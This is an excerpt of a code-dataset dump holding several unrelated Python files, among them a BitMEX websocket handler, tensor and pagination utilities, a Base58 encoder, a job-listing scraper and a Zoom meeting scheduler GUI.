super()._on_open()\n\n def _on_message(self, msg):\n try:\n msg = json.loads(msg)\n table = msg.get('table')\n if table:\n self.__ch_cb_map[table](msg)\n else:\n self.log.debug(f'revc: {msg}')\n if 'request' in msg:\n id_ = json.dumps(msg['request'])\n smsg, cb, desc = self.__request_table[id_]\n req = desc or smsg\n if 'success' in msg:\n res = msg['success']\n self.log.info(f'{req} => {res}')\n elif 'error' in msg:\n status, error = msg['status'], msg['error']\n self.log.error(f'{req} => {status}, {error}')\n\n if cb:\n cb(msg)\n else:\n self.log.warning(f'Unknown message: {msg}')\n except Exception:\n self.log.error(traceback.format_exc())\n","sub_path":"botfw/bitmex/websocket.py","file_name":"websocket.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"228097425","text":"\"\"\" Einsum utility functions. \"\"\"\n\nimport torch\n\n\ndef eingroup(equation, operand, dim=None):\n \"\"\"Use einsum-like notation for (un-)grouping dimensions.\n\n Dimensions that cannot be inferred can be handed in via a mapping `dim`.\n\n Arguments:\n equation (str): Equation specifying the (un-)grouping of axes.\n operand (torch.Tensor): The tensor that `equation` will be applied to.\n dim (dict, optional): A mapping from letters in `equation` to\n dimensions. Only required if `eingroup` cannot infer the dimension.\n For instance, consider you want to interpret a vector with 10\n elements as a 5x2 matrix. The equation `\"i,j->ij\"` is not\n sufficient, you need to specify `dim = {\"i\": 5, \"j\": 2}`.\n\n Note:\n Many operations in `backpack` require that certain axes of a tensor\n be treated identically, and will therefore be grouped into a single\n dimension. One way to do that is using `view`s or `reshape`s.\n `eingroup` helps facilitate this process. It can be used in roughly\n the same way as `einsum`, but acts only on a single tensor at\n a time (although this could be fixed with an improved syntax and\n equation analysis).\n\n Idea:\n * `\"a,b,c->ab,c\"`: group dimension `a` and `b` into a single one.\n * `\"a,b,c->ba,c\"` to transpose, then group `b` and `a` dimension.\n\n Examples:\n Different reshapes of a [2 x 2 x 2] tensor:\n >>> t = torch.Tensor([0, 1, 2, 3, 4, 5, 6, 7]).reshape(2, 2, 2)\n >>> t_flat = t.reshape(-1)\n >>> # group all dimensions\n >>> eingroup(\"i,j,k->ijk\", t)\n torch.Tensor([0, 1, 2, 3, 4, 5, 6, 7])\n >>> # interpret as 2 x 4 matrix\n >>> eingroup(\"i,j,k->i,jk\", t)\n torch.Tensor([[0, 1, 2, 3], [4, 5, 6, 7]])\n >>> # grouping (specifying grouping dimensions)\n >>> eingroup(\"ijk->i,j,k\", dim={\"i\": 2, \"j\": 2, \"k\": 2})\n torch.Tensor([[[0, 1], [2, 3]], [[4, 5], [6, 7]]])\n >>> # grouping with additional contraction\n >>> eingroup(\"ijk->j,k\", dim={\"j\": 2, \"k\": 2})\n torch.Tensor([[[4, 5], [8, 10]])\n\n Returns:\n torch.Tensor: Result of the (un-)grouping operation.\n\n Raises:\n KeyError: If information about a dimension in `dim` is missing\n or can be removed. # noqa: DAR402\n RuntimeError: If the groups inferred from `equation` do not match\n the number of axes of `operand` # noqa: DAR402\n\n \"\"\"\n dim = {} if dim is None else dim\n in_shape, out_shape, einsum_eq = _eingroup_preprocess(equation, operand, dim=dim)\n\n operand_in = operand.reshape(in_shape)\n result = torch.einsum(einsum_eq, operand_in)\n return result.reshape(out_shape)\n\n\ndef _eingroup_preprocess(equation, operand, dim):\n \"\"\"Process `eingroup` equation.\n\n Return the `reshape`s and `einsum` equations that have to\n be performed.\n \"\"\"\n split, sep = \"->\", \",\"\n\n def groups(string):\n return string.split(sep)\n\n lhs, rhs = equation.split(split)\n in_groups, out_groups = groups(lhs), groups(rhs)\n\n dim = __eingroup_infer(in_groups, operand, dim)\n in_shape_flat, out_shape = __eingroup_shapes(in_groups, out_groups, dim)\n\n return in_shape_flat, out_shape, equation.replace(sep, \"\")\n\n\ndef __eingroup_shapes(in_groups, out_groups, dim):\n \"\"\"Return shape the input needs to be reshaped, and the output shape.\"\"\"\n\n def shape(groups, dim):\n return [group_dim(group, dim) for group in groups]\n\n def product(nums):\n assert len(nums) > 0\n\n result = 1\n for num in nums:\n result *= num\n return result\n\n def group_dim(group, dim):\n try:\n return product([dim[g] for g in group])\n except KeyError as e:\n raise KeyError(\"Unknown dimension for an axis {}\".format(e))\n\n out_shape = shape(out_groups, dim)\n\n in_groups_flat = []\n for group in in_groups:\n for letter in group:\n in_groups_flat.append(letter)\n in_shape_flat = shape(in_groups_flat, dim)\n\n return in_shape_flat, out_shape\n\n\ndef __eingroup_infer(in_groups, operand, dim):\n \"\"\"Infer the size of each axis.\"\"\"\n if not len(in_groups) == len(operand.shape):\n raise RuntimeError(\n \"Got {} input groups {}, but tensor has {} axes.\".format(\n len(in_groups), in_groups, len(operand.shape)\n )\n )\n\n for group, size in zip(in_groups, operand.shape):\n if len(group) == 1:\n axis = group[0]\n if axis in dim.keys():\n raise KeyError(\n \"Can infer dimension of axis {}.\".format(axis),\n \"Remove from dim = {}.\".format(dim),\n )\n dim[axis] = size\n\n return dim\n","sub_path":"backpack/utils/ein.py","file_name":"ein.py","file_ext":"py","file_size_in_byte":4803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"316093095","text":"import math\n\nfrom .util import update_querystring\n\n\n\nPAGESIZES = [10, 20, 50, 100]\nDEFAULT_PAGESIZE = 20\n\n\n\ndef from_request(request):\n \"\"\"\n Given a request, return tuple (pagesize, pagenumber).\n\n \"\"\"\n pagesize = positive_integer(\n request.GET.get(\"pagesize\", DEFAULT_PAGESIZE), DEFAULT_PAGESIZE)\n pagenumber = positive_integer(\n request.GET.get(\"pagenumber\", 1), 1)\n return pagesize, pagenumber\n\n\n\ndef pagesize_url(url, pagesize):\n return update_querystring(url, pagesize=pagesize, pagenumber=1)\n\n\n\ndef pagenumber_url(url, pagenumber):\n return update_querystring(url, pagenumber=pagenumber)\n\n\n\nclass Pager(object):\n \"\"\"\n Given a total number of objects and a current page size and page number,\n can calculate various bits of data handy for displaying pagination\n controls.\n\n \"\"\"\n def __init__(self, total, pagesize, pagenumber):\n \"\"\"\n The ``total`` argument can either be an integer, or a callable that\n when called returns an integer (this is to allow for lazy total\n calculation in cases when the Pager is constructed before the list of\n results is fully ready.)\n\n \"\"\"\n self._total = total\n self._cached_total = None\n self.pagesize = pagesize\n self.pagenumber = pagenumber\n\n\n def sizes(self):\n \"\"\"\n Returns an ordered list of pagesize links to display. Includes all\n default page sizes, plus the current page size.\n\n \"\"\"\n return sorted(set(PAGESIZES + [self.pagesize]))\n\n\n def pages(self):\n \"\"\"\n Returns an iterable of valid page numbers.\n\n \"\"\"\n return xrange(1, self.num_pages + 1)\n\n\n def display_pages(self):\n \"\"\"\n Returns an iterable of page numbers to display, eliding some ranges of\n page numbers with None in long lists.\n\n \"\"\"\n MIN_SKIP = 3 # don't bother eliding just one or two pages\n FROM_CURRENT = 2 # always show two to either side of current page\n FROM_END = 2 # always show two from each end\n\n skip = []\n ret = []\n for p in self.pages():\n if (abs(p - self.pagenumber) > FROM_CURRENT and\n p > FROM_END and (self.num_pages - p) > (FROM_END - 1)):\n skip.append(p)\n continue\n if len(skip) < MIN_SKIP:\n ret.extend(skip)\n else:\n ret.append(None)\n ret.append(p)\n skip = []\n return ret\n\n\n @property\n def total(self):\n \"\"\"\n The total number of objects. Handles calling the callable that may have\n been passed in initially, and caching that result so the callable is\n only called once.\n\n \"\"\"\n if self._cached_total is None:\n if callable(self._total):\n self._cached_total = self._total()\n else:\n self._cached_total = self._total\n return self._cached_total\n\n\n @property\n def num_pages(self):\n \"\"\"\n Returns the total number of pages.\n\n \"\"\"\n return max(1, int(math.ceil(float(self.total) / self.pagesize)))\n\n\n @property\n def low(self):\n \"\"\"\n Returns the ordinal of the first object to be displayed on the current\n page.\n\n \"\"\"\n return self._constrain((self.pagesize * (self.pagenumber - 1)) + 1)\n\n\n @property\n def high(self):\n \"\"\"\n Returns the ordinal of the last object to be displayed on the current\n page.\n\n \"\"\"\n return self._constrain(self.pagesize * self.pagenumber)\n\n\n def _constrain(self, num):\n return min(self.total, max(0, num))\n\n\n @property\n def prev(self):\n \"\"\"\n The page number of the previous page, or None if there is no previous\n page.\n\n \"\"\"\n prev = self.pagenumber - 1\n if prev < 1:\n return None\n return prev\n\n\n @property\n def next(self):\n \"\"\"\n The page number of the next page, or None if there is no next page.\n\n \"\"\"\n next = self.pagenumber + 1\n if next > self.num_pages:\n return None\n return next\n\n\n\ndef positive_integer(val, default):\n try:\n val = int(val)\n except (AttributeError, TypeError, ValueError):\n val = default\n\n if val < 1:\n val = 1\n\n return val\n","sub_path":"ccui/core/pagination.py","file_name":"pagination.py","file_ext":"py","file_size_in_byte":4375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"339853005","text":"import json\nqdata = json.load(open(\"test_data/vk_v_with_SSS.json\"))\nprocessed_data = {}\nid_quest ={}\nfor k,v in qdata.items():\n id_quest[k]= v\n\ncontext_data = json.load(open(\"test_data/vk_Google_v_with_SSS.json\"))\nid_context = {}\n\nfor k,v in context_data.items():\n id_context[k] = v\nfor k,v in id_quest.items():\n data ={}\n data[\"question\"] = id_quest[k]\n if k not in id_context.keys():\n continue\n data[\"context\"] = id_context[k]\n processed_data[k] = data\njson.dump(processed_data,open(\"test_data/test_v_with_SSS.json\",\"w\"))\n\n\n\n","sub_path":"preprocess_test.py","file_name":"preprocess_test.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"56514675","text":"import math\n\n\n# Check if the params for calculating the area are correct\ndef validate_input(params_type: str, user_params: list):\n if params_type == \"base_and_height\":\n if len(user_params) != 2 or not all(param.isdigit() for param in user_params):\n return False\n else:\n return True\n elif params_type == \"sides_and_angle\":\n if len(user_params) != 3 or not all(param.isdigit() for param in user_params):\n return False\n else:\n return True\n return False\n\n\n# Calculate the area using the selected method\ndef calculate_area(calculate_type: int):\n if calculate_type == 1:\n params = input(\"Enter base and height divided by comma:\")\n base_and_height = params.replace(\" \", \"\").split(\",\")\n if not validate_input(\"base_and_height\", base_and_height):\n print(\"Please, enter the correct base and height.\")\n return calculate_area(1)\n\n b = int(base_and_height[0])\n h = int(base_and_height[1])\n\n area = b * h / 2\n print(\"\\nThe area calculated by base and height is {}\".format(area))\n return prepare_to_calculate()\n else:\n params = input(\"Enter 2 sides and angle(degrees) between them, divided by comma:\")\n sides_and_angle = params.replace(\" \", \"\").split(\",\")\n if not validate_input(\"sides_and_angle\", sides_and_angle):\n print(\"Please, enter the correct sides and angle.\")\n return calculate_area(2)\n\n side_a = int(sides_and_angle[0])\n side_b = int(sides_and_angle[1])\n angle = math.sin(math.radians(int(sides_and_angle[2])))\n\n area = (side_a * side_b / 2) * angle\n print(\"\\nThe area calculated by sides and angle is {}\".format(area))\n return prepare_to_calculate()\n\n\n# Show the menu for choosing the method\ndef prepare_to_calculate():\n menu_items = {\n \"1\": \"Calculate triangle area by base and height\",\n \"2\": \"Calculate triangle area by 2 sides and angle between them\",\n \"3\": \"Exit\"\n }\n\n print(\"\\nWelcome to the triangle area calculation tool.\")\n print(\"Menu:\")\n\n for key, value in menu_items.items():\n print(\"{}: {}\".format(key, value))\n\n menu_item = input(\"Enter menu item number:\")\n if menu_item not in menu_items.keys():\n print(\"\\nPlease, enter the correct menu item number.\")\n return prepare_to_calculate()\n else:\n if menu_item == \"1\":\n calculate_area(1)\n elif menu_item == \"2\":\n calculate_area(2)\n else:\n print(\"Goodbye!\")\n\n\nprepare_to_calculate()\n","sub_path":"tasks/task02/task02.py","file_name":"task02.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"262032429","text":"# !/usr/bin/python\n# -*- coding:utf-8 -*-\n\nimport subprocess, shlex\nimport time, logging\n\ndef switch(stkN,cmd):\n logging.basicConfig(filename='logger.log',level=logging.DEBUG)\n cmdOn = shlex.split(\"sudo /home/pi/raspberry-remote/send 11111 \" +\n str(stkN) + \" 1\")\n cmdOff = shlex.split(\"sudo /home/pi/raspberry-remote/send 11111 \" +\n str(stkN) + \" 0\")\n logging.info(time.strftime(\"%d.%m.%Y_%H:%M:%S\") +\n ' (fkStk): Switching socket ' +\n str(stkN) + \" \" + cmd)\n if cmd == \"on\":\n successOn = subprocess.Popen(cmdOn,stdout=subprocess.PIPE)\n elif cmd == \"off\":\n successOff = subprocess.Popen(cmdOff,stdout=subprocess.PIPE)\n","sub_path":"final_tex/code/fkSt.py","file_name":"fkSt.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"18340799","text":"# Django imports\nfrom django import forms\n\n\nclass ContactForm(forms.Form):\n \"\"\" Form for processing and validating contact message \"\"\"\n\n subject = forms.CharField(max_length=100, widget=forms.TextInput(attrs={\n \"class\": \"form-control\", \"id\": \"name\",\n \"type\": \"text\", \"placeholder\": \"Your Subject *\",\n \"required\": \"required\",\n \"data - validation - required - message\":\n \"Please enter your subject.\"\n }))\n\n sender_email = forms.EmailField(widget=forms.EmailInput(attrs={\n \"class\": \"form-control\", \"id\":\"email\",\n \"type\": \"email\", \"placeholder\": \"Your Email *\",\n \"required\": \"required\",\n \"data - validation - required - message\":\n \"Please enter your email address.\"\n }))\n\n message = forms.CharField(widget=forms.Textarea(attrs={\n \"class\": \"form-control\", \"id\":\"message\",\n \"placeholder\": \"Your Message *\",\n \"required\": \"required\",\n \"data - validation - required - message\":\n \"Please enter a message.\"\n }))\n","sub_path":"contact/forms/contact_form.py","file_name":"contact_form.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"362065959","text":"from mylib import sqrt\n\n\ndef euler_sum(N):\n Imax = int((N + 0.5)**(1 / 3))\n D = N // Imax\n\n # compute S1\n prime = [1] * (D + 1)\n mobius = [1] * (D + 1)\n\n for i in range(2, D + 1):\n if not prime[i]:\n continue\n mobius[i] = -1\n for j in range(2, D // i + 1):\n prime[i * j] = 0\n mobius[i * j] *= -1\n for j in range(1, D // (i * i) + 1):\n mobius[j * i * i] = 0\n\n s1 = 0\n for i in range(1, D + 1):\n k = N // i\n s1 += mobius[i] * (k * (k + 1) // 2)\n\n # compute M(d), d = 1, ..., D\n M_list = [0]\n M = 0\n for m in mobius[1:]:\n M += m\n M_list.append(M)\n\n # compute M(n // i), i = Imax - 1, ..., 1\n Mxi_list = []\n Mxi_sum = 0\n for i in range(Imax - 1, 0, -1):\n Mxi = 1\n xi = N // i\n\n sqd = int(sqrt(xi))\n # we know that sqd < D <= xi\n for j in range(1, xi // (sqd + 1) + 1):\n Mxi -= (xi // j - xi // (j + 1)) * M_list[j]\n\n for j in range(2, sqd + 1):\n if xi // j <= D:\n Mxi -= M_list[xi // j]\n else:\n Mxi -= Mxi_list[Imax - j * i - 1]\n\n Mxi_list.append(Mxi)\n Mxi_sum += i * Mxi\n\n # compute S2\n s2 = Mxi_sum - Imax * (Imax - 1) // 2 * M_list[-1]\n return s1 + s2\n\n\ndef main(n):\n return ((n + 1) * n // 2 - euler_sum(n)) * 6\n\n\nif __name__ == \"__main__\":\n print(main(5))\n print(main(10))\n print(main(1000))\n print(main(100000000))\n","sub_path":"problems/problem_351/Hexagonal_orchards.py","file_name":"Hexagonal_orchards.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"364427520","text":"import os\nimport json\n\n\ndef del_file(file_path):\n file_list = os.listdir(file_path)\n for file in file_list:\n size = os.path.getsize(\"./ICO_Sanitized_Htmls/\" + file)\n if size < 10 * 1024:\n print(\"remove\", file)\n os.remove(\"./ICO_Sanitized_Htmls/\" + file)\n\ndef clean_tech(file_path):\n result_list = []\n with open(file_path) as f:\n data = json.load(f)\n for item in data:\n if len(item['Tech Profile']) >= 5:\n result_list.append(item)\n data_str = json.dumps(result_list, indent=4)\n print(len(result_list))\n with open('SanitizedIcoBackendStackList.json', 'w') as f:\n f.write(data_str)\n\nif __name__ == \"__main__\":\n file_path = \"IcoWebTechProfileList.json\"\n clean_tech(file_path)\n dir_path = \"./ICO_Sanitized_Htmls\"\n del_file(dir_path)\n\n\n","sub_path":"PreprocessDataset.py","file_name":"PreprocessDataset.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"413688212","text":"#-*- coding:utf-8 -*-\n#Filename:Base58Demo.py\n#Date :2018/7/24 上午11:22\n#auther :mudy\n#E-mail :2808050775@qq.com\n#Blog :txmudy.cn\n\n\nBase58Alphabet = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\"\n\n\n\n# 解码\ndef base58decode(data):\n result = 0\n\n for d in data:\n charIndex = Base58Alphabet.find(d)\n result = result * len(Base58Alphabet)\n result = result + charIndex\n\n decode = hex(result)\n\n return decode\n\n\n# 编码\ndef base58encode(data):\n res = []\n\n x = int(data, 16)#转换成十六进制\n base = 58\n\n zero = 0\n\n while x != zero:\n x, mod = divmod(x, base)\n res.append(Base58Alphabet[mod])\n\n return \"\".join(reverse(res))\n\n#反转 第一个元素跟最后一个交换就行了,以此类推\ndef reverse(res):\n if len(res) <= 1:\n return res\n\n len_half = int(len(res)/2) #数组的长度的一半\n length = len(res) - 1\n\n\n for i in range(len_half):\n\n tmp = res[i]\n res[i] = res[length - i]\n res[length - i] = tmp\n return res\n","sub_path":"python/EOS专栏/crypto/Base58Demo.py","file_name":"Base58Demo.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"91805545","text":"from odoo import api, fields, models, _\n\nclass Lead(models.Model):\n _inherit = 'crm.lead'\n\n @api.multi\n def _get_email_count(self):\n for record in self:\n record.email_count = self.env['mail.inbox'].sudo().search_count([('crm_lead_id','=',self.id)])\n\n email_count = fields.Integer(compute='_get_email_count', string='Emails')\n\n @api.multi\n def action_emails(self):\n action = self.env.ref('email_management.action_mail_inbox')\n result = action.read()[0]\n email_ids = self.env['mail.inbox'].sudo().search([('crm_lead_id','=',self.id)])\n if len(email_ids) != 1:\n result['domain'] = [('crm_lead_id', '=', self.id)]\n elif len(email_ids) == 1:\n result['views'] = [[False, 'form']]\n result['res_id'] = email_ids.id\n result['context'] = {'default_crm_lead_id': self.id, 'default_state': 'inbox'}\n return result\n\nLead()","sub_path":"beta-dev1/opt/odoo/odoo/addons/core/pipeline_email/models/crm_lead.py","file_name":"crm_lead.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"296952570","text":"# -*- coding:utf-8 -*-\n__author__ = 'Kang'\n\n\ndef getfirst_url(num):\n return r\"http://sou.zhaopin.com/jobs/searchresult.ashx?jl=%E9%80%89%E6%8B%A9%E5%9C%B0%E5%8C%BA&kw=hadoop&isadv=0&sg=e0d2b22730bc420ba1ca897506617ea2&p\" + \"=%d\" % num\n\n\ndef parse_item(item):\n item = str(item)\n import re\n str_zwmc = \"\"\"\n<(.+)>(.+)(.+)\n\"\"\"\n zwmc = re.compile(str_zwmc)\n gsmc = re.compile(r'(.+)')\n zwyx = re.compile(r'(.+)')\n gzdd = re.compile(r'(.+)')\n fbrq = re.compile(r'(.+)')\n m_zwmc = zwmc.search(item)\n m_gsmc = gsmc.search(item)\n m_zwyx = zwyx.search(item)\n m_gzdd = gzdd.search(item)\n m_fbrq = fbrq.search(item)\n wt = list()\n count = 0\n # 职位名称\n if m_zwmc:\n wt.append(m_zwmc.group(5) + m_zwmc.group(6) + '\\t')\n else:\n wt.append('' + '\\t')\n count += 1\n # 职位详细介绍url\n if m_zwmc:\n wt.append(m_zwmc.group(3) + '\\t')\n else:\n wt.append('' + '\\t')\n count += 1\n # 公司名称\n if m_gsmc:\n wt.append(m_gsmc.group(2) + '\\t')\n else:\n wt.append('' + '\\t')\n count += 1\n # 职位月薪\n if m_zwyx:\n wt.append(m_zwyx.group(1) + '\\t')\n else:\n wt.append('' + '\\t')\n\n # 工作地点\n if m_gzdd:\n wt.append(m_gzdd.group(1) + '\\t')\n else:\n wt.append('' + '\\t')\n count += 1\n # 发布日期\n if m_fbrq:\n wt.append(m_fbrq.group(1))\n else:\n wt.append('')\n count += 1\n\n import os\n os.chdir('/Users/Kang/Desktop/')\n bw = open('zlzp.txt', 'a')\n if count < 3:\n bw.writelines(wt)\n bw.write(\"\\r\\n\")\n bw.close()\n else:\n bw.close()\n return\n\n\n\ndef get_onPager(num):\n import urllib2\n source = urllib2.urlopen(getfirst_url(num)).read()\n from bs4 import BeautifulSoup\n soup = BeautifulSoup(source, 'html')\n for item in soup.find_all('table'):\n parse_item(item)\n\n\n # def parse_gs(gs_str):\n # import sys\n # reload(sys)\n # sys.setdefaultencoding('utf-8')\n # x=gs_str.index('工作地点:',0)\n # print x\n # relx = r'

(.+)

公司性质:(.+)
公司规模:(.+)
公司网站:http://www.bonc.com.cn
公司行业:(.+)
公司地址:(.+)
'\n # import re\n # par = re.compile(relx)\n # match = par.search(gs_str)\n # print match\n # atr_dt = dict()\n # atr_rs = dict()\n # ls = ['职位月薪', '工作地点', '发布日期', '工作性质', '工作经验', '最低学历', '招聘人数', '职位类别']\n # for key in ls:\n # try:\n # # print key\n # point = gs_str.index(key, 0)\n # atr_dt[key] = point\n # except:\n # atr_dt[key] = 0\n # # atr_list=list.sort()\n # # dd = gs_str[atr_list[0]:atr_list[1]]\n # for k, v in atr_dt.items():\n # if v != 0:\n # tmp=list()\n # tmp.append()\n # else:\n # atr_rs[key]=''\n\n\n# def get_gsms_Pager(url):\n# import urllib2\n# source = urllib2.urlopen(url).read()\n# parse_gs(source)\n# # print soup.get_text()\n\nfor x in xrange(0, 500):\n get_onPager(x)\n","sub_path":"python/spiderdata/url_source.py","file_name":"url_source.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"483831820","text":"import sys,os\r\nfrom PyQt5.QtWidgets import QApplication,QMainWindow,QSystemTrayIcon,QAction,QMenu,QPushButton,QLineEdit,QCheckBox,QDateTimeEdit,QHeaderView \r\nfrom MainWinUI import Ui_MainWindow\r\nfrom PyQt5.QtCore import Qt, QDateTime\r\nfrom PyQt5.QtGui import QIcon\r\nfrom pandas import DataFrame\r\nfrom StorageSystem import DataBase\r\nfrom threading import Thread\r\nfrom plyer import notification\r\nfrom time import sleep,time\r\nfrom datetime import datetime\r\nfrom urllib.request import urlopen\r\nfrom pywinauto.application import Application\r\n\r\nusername = os.getlogin()\r\npath_to_exe = f\"C:/Users/{username}/AppData/Roaming/Zoom/bin/Zoom.exe\"\r\n\r\nclass ZoomBotUI(QMainWindow):\r\n \r\n closeBtns = []\r\n curMeetingCount = 0\r\n meetingData = []\r\n cols = ['Text','Text','Text','DateTime','CheckBox','CheckBox']\r\n sql = DataBase()\r\n flag = None\r\n \r\n def __init__(self):\r\n super(ZoomBotUI,self).__init__()\r\n \r\n #Setting up the UI\r\n self.ui = Ui_MainWindow()\r\n self.ui.setupUi(self)\r\n self.setWindowFlags(Qt.FramelessWindowHint)\r\n self.setAttribute(Qt.WA_TranslucentBackground)\r\n self.restoreData()\r\n self.startThread()\r\n \r\n #Adding Functions to Buttons\r\n self.ui.closeBtn.clicked.connect(self.hide)\r\n self.ui.minBtn.clicked.connect(self.showMinimized)\r\n self.ui.closeBtn.setToolTip(\"Close\")\r\n self.ui.minBtn.setToolTip(\"Minimize\")\r\n self.ui.addBtn.clicked.connect(self.addMeeting)\r\n self.ui.saveBtn.clicked.connect(self.saveTable)\r\n \r\n self.ui.appIcon.setIcon(QIcon(\"./icons/ZoomAuto.png\"))\r\n \r\n # Changing Headers of the Table\r\n stylesheet = \"::section{background-color:rgb(204,204,204);border-radius:14px}\"\r\n self.ui.tableWidget.horizontalHeader().setStyleSheet(stylesheet)\r\n self.ui.tableWidget.verticalHeader().setStyleSheet(stylesheet)\r\n \r\n #Setting Up the Tray Menu\r\n self.tray_icon = QSystemTrayIcon(self)\r\n self.tray_icon.setIcon(QIcon(\"./icons/ZoomAuto.png\"))\r\n show_action = QAction(\"Show\",self)\r\n hide_action = QAction(\"Hide\",self)\r\n quit_action = QAction(\"Quit\",self)\r\n show_action.triggered.connect(self.show)\r\n hide_action.triggered.connect(self.hide)\r\n quit_action.triggered.connect(self.closeEvent)\r\n tray_menu = QMenu()\r\n tray_menu.addAction(show_action)\r\n tray_menu.addAction(hide_action)\r\n tray_menu.addAction(quit_action)\r\n self.tray_icon.setContextMenu(tray_menu)\r\n self.tray_icon.show()\r\n\r\n #Display the UI on Screen\r\n self.show()\r\n \r\n def closeEvent(self,event):\r\n self.saveTable()\r\n self.flag = False\r\n self.tray_icon.hide()\r\n self.close()\r\n \r\n def mousePressEvent(self,event):\r\n self.dragPos = event.globalPos()\r\n \r\n def mouseMoveEvent(self, event):\r\n if event.buttons() == Qt.LeftButton:\r\n self.move(self.pos()+event.globalPos()-self.dragPos)\r\n self.dragPos = event.globalPos()\r\n event.accept()\r\n \r\n def addMeeting(self):\r\n name = QLineEdit(self)\r\n Id = QLineEdit(self)\r\n passwd = QLineEdit(self)\r\n datetime = QDateTimeEdit(self)\r\n audio = QCheckBox(self)\r\n video = QCheckBox(self)\r\n close = QPushButton(self)\r\n \r\n datetime.setDisplayFormat('dd-MMM , hh:mm')\r\n datetime.setDateTime(QDateTime().currentDateTime())\r\n \r\n close.setIcon(QIcon('./icons/close-button.png'))\r\n close.setFlat(True)\r\n \r\n self.ui.tableWidget.insertRow(self.curMeetingCount)\r\n close.setObjectName(str(self.curMeetingCount))\r\n close.released.connect(lambda: self.deleteMeeting(close.objectName()))\r\n self.closeBtns.append(close)\r\n self.elements = [name,Id,passwd,datetime,audio,video,close]\r\n col = 0\r\n for element in self.elements:\r\n self.ui.tableWidget.setCellWidget(self.curMeetingCount, col, element)\r\n col+=1\r\n \r\n header = self.ui.tableWidget.horizontalHeader()\r\n header.setSectionResizeMode(6,QHeaderView.ResizeToContents)\r\n \r\n self.elements.remove(close)\r\n row = []\r\n for element,name in zip(self.elements,self.cols):\r\n element.setObjectName(name)\r\n row.append(element)\r\n self.meetingData.append(row)\r\n self.curMeetingCount += 1\r\n \r\n def deleteMeeting(self,button_id):\r\n self.ui.tableWidget.removeRow(int(button_id))\r\n self.curMeetingCount -= 1\r\n self.closeBtns.remove(self.closeBtns[int(button_id)])\r\n for i in range(self.curMeetingCount):\r\n self.closeBtns[i].setObjectName(str(i))\r\n self.meetingData.remove(self.meetingData[int(button_id)])\r\n \r\n def saveTable(self):\r\n if self.checkData():\r\n data = []\r\n rows = []\r\n for x in range(len(self.meetingData)):\r\n for i in range(6):\r\n if self.meetingData[x][i].objectName() == \"Text\":\r\n data.append(self.meetingData[x][i].text())\r\n elif self.meetingData[x][i].objectName() == \"DateTime\":\r\n data.append(self.meetingData[x][i].text())\r\n elif self.meetingData[x][i].objectName() == \"CheckBox\":\r\n data.append(self.meetingData[x][i].checkState())\r\n rows.append(data)\r\n data = []\r\n meeting = DataFrame(rows,columns=('Name','ID','Password','DateTime','Audio','Video'))\r\n self.sql.enterData(meeting)\r\n self.startThread()\r\n else:\r\n return\r\n \r\n def checkData(self):\r\n checked = True\r\n for x in range(len(self.meetingData)):\r\n \r\n length = len(self.meetingData[x][1].text().replace(\" \",\"\"))\r\n if 9 > length or length > 11:\r\n self.meetingData[x][1].setStyleSheet(\"color: red;\")\r\n checked = False\r\n else:\r\n self.meetingData[x][1].setStyleSheet(\"color: black;\")\r\n \r\n curTime = datetime.now()\r\n meetingTime = str(curTime.year)+'-'+self.meetingData[x][3].text()+':00'\r\n meetingTime = datetime.strptime(meetingTime, '%Y-%d-%b , %H:%M:%S')\r\n if meetingTime < curTime:\r\n self.meetingData[x][3].setStyleSheet(\"color: red;\") \r\n checked = False\r\n else:\r\n self.meetingData[x][3].setStyleSheet(\"color: black;\") \r\n \r\n return checked\r\n \r\n def restoreData(self):\r\n data = self.sql.readData()\r\n for x in range(len(data)):\r\n self.addMeeting()\r\n for y in range(len(data.columns)):\r\n if self.meetingData[x][y].objectName() == \"Text\":\r\n self.meetingData[x][y].setText(data.loc[x][y])\r\n if self.meetingData[x][y].objectName() == \"DateTime\":\r\n dateTime = QDateTime().fromString(data.loc[x][y],'dd-MMM , hh:mm')\r\n self.meetingData[x][y].setDateTime(dateTime)\r\n if self.meetingData[x][y].objectName() == \"CheckBox\":\r\n self.meetingData[x][y].setCheckState(int(data.loc[x][y]))\r\n \r\n def startThread(self):\r\n meetingList = self.sql.readData()\r\n self.flag = False\r\n self.timerThread = Thread(target=self.timer,args=(meetingList,))\r\n sleep(1)\r\n self.timerThread.start()\r\n \r\n def timer(self,meetings):\r\n self.flag = True\r\n while self.flag:\r\n curTime = str(datetime.now().strftime('%d-%b , %H:%M:%S'))\r\n self.ui.displayTime.setText(f\"Time : {curTime}\")\r\n for meetingTime in meetings['DateTime']:\r\n if curTime == (meetingTime+':00'):\r\n if not self.checkNetwork():\r\n self.startMeeting(meetingTime,meetings)\r\n else:\r\n notification.notify(\"ZoomAuto\",\"Failed To Join Meeting, Bad Internet Connection\",\"ZoomAuto\",'./icons/ZoomAuto.ico')\r\n self.closeBtns[list(meetings['DateTime']).index(meetingTime)].click()\r\n self.saveTable()\r\n sleep(1)\r\n \r\n def 